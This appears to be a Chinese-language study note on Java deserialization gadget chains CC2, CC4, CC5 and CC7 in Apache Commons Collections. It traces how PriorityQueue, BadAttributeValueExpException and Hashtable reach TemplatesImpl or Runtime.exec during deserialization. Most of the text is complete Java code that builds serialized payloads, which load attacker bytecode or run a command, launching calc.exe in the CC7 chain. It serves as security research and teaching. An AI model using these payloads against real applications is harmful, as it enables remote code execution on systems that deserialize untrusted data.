CC2+CC4+CC5+CC7
CC2
添加版本依赖
1 2 3 4 5 <dependency > <groupId > org.apache.commons</groupId > <artifactId > commons-collections4</artifactId > <version > 4.0</version > </dependency >
链的后半部分保持不变
1 2 3 4 5 6 7 8 9 10 ChainedTransformer.transform() -----> InvokerTransformer.transform() -----> TemplatesImpl.newTransformer() -----> TemplatesImpl.getTransletInstance() -----> TemplatesImpl.defineTransletClasses()(_class[i] = loader.defineClass(_bytecodes[i]);) _class[_transletIndex].newInstance()
因此主要是找执行newTransformer的方法,而commons-collections4中存在类TransformingComparator(支持可序列化),该类的compare方法调用了Transformer的transform方法
transformer
对象负责将输入的对象转换为某种中间形式。比如,如果你有一组复杂的对象,而你只关心其中的某个字段,你可以用
transformer 提取这个字段。
decorated
对象负责对转换后的中间形式进行比较。它通常是一个比较器(Comparator),定义了比较的逻辑。
1 2 3 4 5 public int compare (final I obj1, final I obj2) { final O value1 = this .transformer.transform(obj1); final O value2 = this .transformer.transform(obj2); return this .decorated.compare(value1, value2); }
因此只需要构造的时候传递this.transformer为ChainedTransformer对象
接着就是找反序列化时调用compare函数的对象,此处选择的是PriorityQueue对象(可序列化),该类的readObject对象调用了heapify方法,heapify方法中调用了siftDown方法,siftDown方法调用了siftDownUsingComparator方法,siftDownUsingComparator方法中调用了compare方法,并且此处的comparator可控
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 private void siftDownUsingComparator (int k, E x) { int half = size >>> 1 ; while (k < half) { int child = (k << 1 ) + 1 ; Object c = queue[child]; int right = child + 1 ; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0 ) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0 ) break ; queue[k] = c; k = child; } queue[k] = x; }
构造代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 TemplatesImpl templates = new TemplatesImpl ();byte [] code= Files.readAllBytes(Paths.get("D:\\java workforse\\java_deserialization\\Hello.class" ));byte [] code2= Files.readAllBytes(Paths.get("D:\\java workforse\\java_deserialization\\Test.class" ));Class<TemplatesImpl> clazz = TemplatesImpl.class; Field field = clazz.getDeclaredField("_bytecodes" );field.setAccessible(true ); field.set(templates, new byte [][]{code, code2}); field= clazz.getDeclaredField("_name" ); field.setAccessible(true ); field.set(templates, "123" ); field= clazz.getDeclaredField("_tfactory" ); field.setAccessible(true ); field.set(templates, new TransformerFactoryImpl ()); field= clazz.getDeclaredField("_transletIndex" ); field.setAccessible(true ); field.set(templates, 0 ); Transformer[] transforms = new Transformer []{ new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" , new Class []{}, new Object []{}), }; ChainedTransformer chainedTransformer = new ChainedTransformer (transforms);TransformingComparator transformingComparator = new TransformingComparator (chainedTransformer,new ComparableComparator <>());PriorityQueue priorityQueue = new PriorityQueue <>(2 ,transformingComparator);Class clazzPriorityQueue = PriorityQueue.class;Field fieldsize = clazzPriorityQueue.getDeclaredField("size" );fieldsize.setAccessible(true ); fieldsize.set(priorityQueue,2 ); serialize(priorityQueue); unserialize("data.bin" );
CC4
将上面执行代码的方式(InvokerTransformer)改成InstantiateTransformer类的transform方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 TemplatesImpl templates = new TemplatesImpl (); byte [] code= Files.readAllBytes(Paths.get("D:\\java workforse\\java_deserialization\\Hello.class" )); byte [] code2= Files.readAllBytes(Paths.get("D:\\java workforse\\java_deserialization\\Test.class" )); Class<TemplatesImpl> clazz = TemplatesImpl.class; Field field = clazz.getDeclaredField("_bytecodes" ); field.setAccessible(true ); field.set(templates, new byte [][]{code, code2}); field= clazz.getDeclaredField("_name" ); field.setAccessible(true ); field.set(templates, "123" ); field= clazz.getDeclaredField("_tfactory" ); field.setAccessible(true ); field.set(templates, new TransformerFactoryImpl ()); field= clazz.getDeclaredField("_transletIndex" ); field.setAccessible(true ); field.set(templates, 0 ); Transformer[] transforms = new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}), }; ChainedTransformer chainedTransformer = new ChainedTransformer (transforms); TransformingComparator transformingComparator = new TransformingComparator (chainedTransformer,new ComparableComparator <>()); PriorityQueue priorityQueue = new PriorityQueue <>(2 ,transformingComparator); Class clazzPriorityQueue = PriorityQueue.class; Field fieldsize = clazzPriorityQueue.getDeclaredField("size" ); fieldsize.setAccessible(true ); fieldsize.set(priorityQueue,2 ); serialize(priorityQueue); unserialize("data.bin" );
CC5
链子后半部分不变,仍然是找执行LazyMap的get方法的类,在collections4中,TiedMapEntry的getValue方法调用了其get方法,同时其toString方法调用了getValue方法,由此形成闭环
1 2 3 4 5 6 7 8 9 @Override public String toString () { return getKey() + "=" + getValue(); }
因此主要寻找某类,该类的readObject方法调用toString,并且可控制,此处选择的是BadAttributeValueExpException类,该类的readObject方法中的第三个条件片段中执行了toString方法
如果 valObj 是 null,则将 val
设为 null。
如果 valObj 是 String 类型,直接将
valObj 赋值给 val。
如果系统没有安全管理器(即 System.getSecurityManager() ==
null),或者 valObj
是以下类型之一:Long、Integer、Float、Double、Byte、Short、Boolean
则将 valObj 转换为字符串并赋值给 val。
由此构造代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 TemplatesImpl templates = new TemplatesImpl (); byte [] code= Files.readAllBytes(Paths.get("D:\\java workforse\\java_deserialization\\Hello.class" )); byte [] code2= Files.readAllBytes(Paths.get("D:\\java workforse\\java_deserialization\\Test.class" )); Class<TemplatesImpl> clazz = TemplatesImpl.class; Field field = clazz.getDeclaredField("_bytecodes" ); field.setAccessible(true ); field.set(templates, new byte [][]{code, code2}); field= clazz.getDeclaredField("_name" ); field.setAccessible(true ); field.set(templates, "123" ); field= clazz.getDeclaredField("_tfactory" ); field.setAccessible(true ); field.set(templates, new TransformerFactoryImpl ()); field= clazz.getDeclaredField("_transletIndex" ); field.setAccessible(true ); field.set(templates, 0 ); Transformer[] transforms = new Transformer []{ new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}), }; ChainedTransformer chainedTransformer = new ChainedTransformer (transforms); Map map = new HashMap (); LazyMap lazyMap = LazyMap.lazyMap(map,chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap,TrAXFilter.class); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (null ); Class clazz1 = BadAttributeValueExpException.class; Field val = clazz1.getDeclaredField("val" ); val.setAccessible(true ); val.set(badAttributeValueExpException,tiedMapEntry); serialize(badAttributeValueExpException); unserialize("data.bin" );
此处的LazyMap可以用DefaultedMap所替代
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 TemplatesImpl templates = new TemplatesImpl (); byte [] code= Files.readAllBytes(Paths.get("D:\\java workforse\\java_deserialization\\Hello.class" )); byte [] code2= Files.readAllBytes(Paths.get("D:\\java workforse\\java_deserialization\\Test.class" )); Class<TemplatesImpl> clazz = TemplatesImpl.class; Field field = clazz.getDeclaredField("_bytecodes" ); field.setAccessible(true ); field.set(templates, new byte [][]{code, code2}); field= clazz.getDeclaredField("_name" ); field.setAccessible(true ); field.set(templates, "123" ); field= clazz.getDeclaredField("_tfactory" ); field.setAccessible(true ); field.set(templates, new TransformerFactoryImpl ()); field= clazz.getDeclaredField("_transletIndex" ); field.setAccessible(true ); field.set(templates, 0 ); Transformer[] transforms = new Transformer []{ new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}), }; ChainedTransformer chainedTransformer = new ChainedTransformer (transforms); Map map = new HashMap (); DefaultedMap defaultedMap = (DefaultedMap) DefaultedMap.decorate(map, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (defaultedMap, TrAXFilter.class); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (null ); Field val = BadAttributeValueExpException.class.getDeclaredField("val" ); val.setAccessible(true ); val.set(badAttributeValueExpException, tiedMapEntry); serialize(badAttributeValueExpException); unserialize("data.bin" );
CC7
这条链是用AbstractMap抽象类的equals函数执行DefaultedMap类的get方法
由于AbstractMap是抽象类,因此不能直接实例化,要寻找它的继承子类,并且没有equals函数,就会执行Abstract的equals方法,这里选择的是可序列化的HashMap类,因此问题变成了寻找readObject函数,该函数应该能执行equals方法
这里选择HashTable类,该类的readObject方法调用了reconstitutionPut方法,这里的elements是HashTable键值对的数量
reconstitutionPut方法中调用了equals函数,并且原理应该是先传进的键调用equals方法,以后传进的键作为参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 private void reconstitutionPut (Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException { if (value == null ) { throw new java .io.StreamCorruptedException(); } int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF ) % tab.length; for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java .io.StreamCorruptedException(); } } @SuppressWarnings("unchecked") Entry<K,V> e = (Entry<K,V>)tab[index]; tab[index] = new Entry <>(hash, key, value, e); count++; }
因此先传进的应是HashMap对象,后传进的是DefaultedMap对象,相当于调用AbstractMap的equals方法,以构造的DefaultedMap对象作为参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 Transformer[] transforms = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc.exe" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (new Transformer []{});HashMap<Object,Object> map = new HashMap <>(); DefaultedMap defaultedMap = (DefaultedMap) DefaultedMap.decorate(new HashMap <>(), chainedTransformer);map.put("key1" , "value1" ); defaultedMap.put("key2" , "value2" ); Hashtable<Object, Object> objectObjectHashtable = new Hashtable <>(); objectObjectHashtable.put(map, 1 ); objectObjectHashtable.put(defaultedMap, 2 ); Class clazz3 = chainedTransformer.getClass();Field field1 = clazz3.getDeclaredField("iTransformers" );field1.setAccessible(true ); field1.set(chainedTransformer, transforms); serialize(objectObjectHashtable);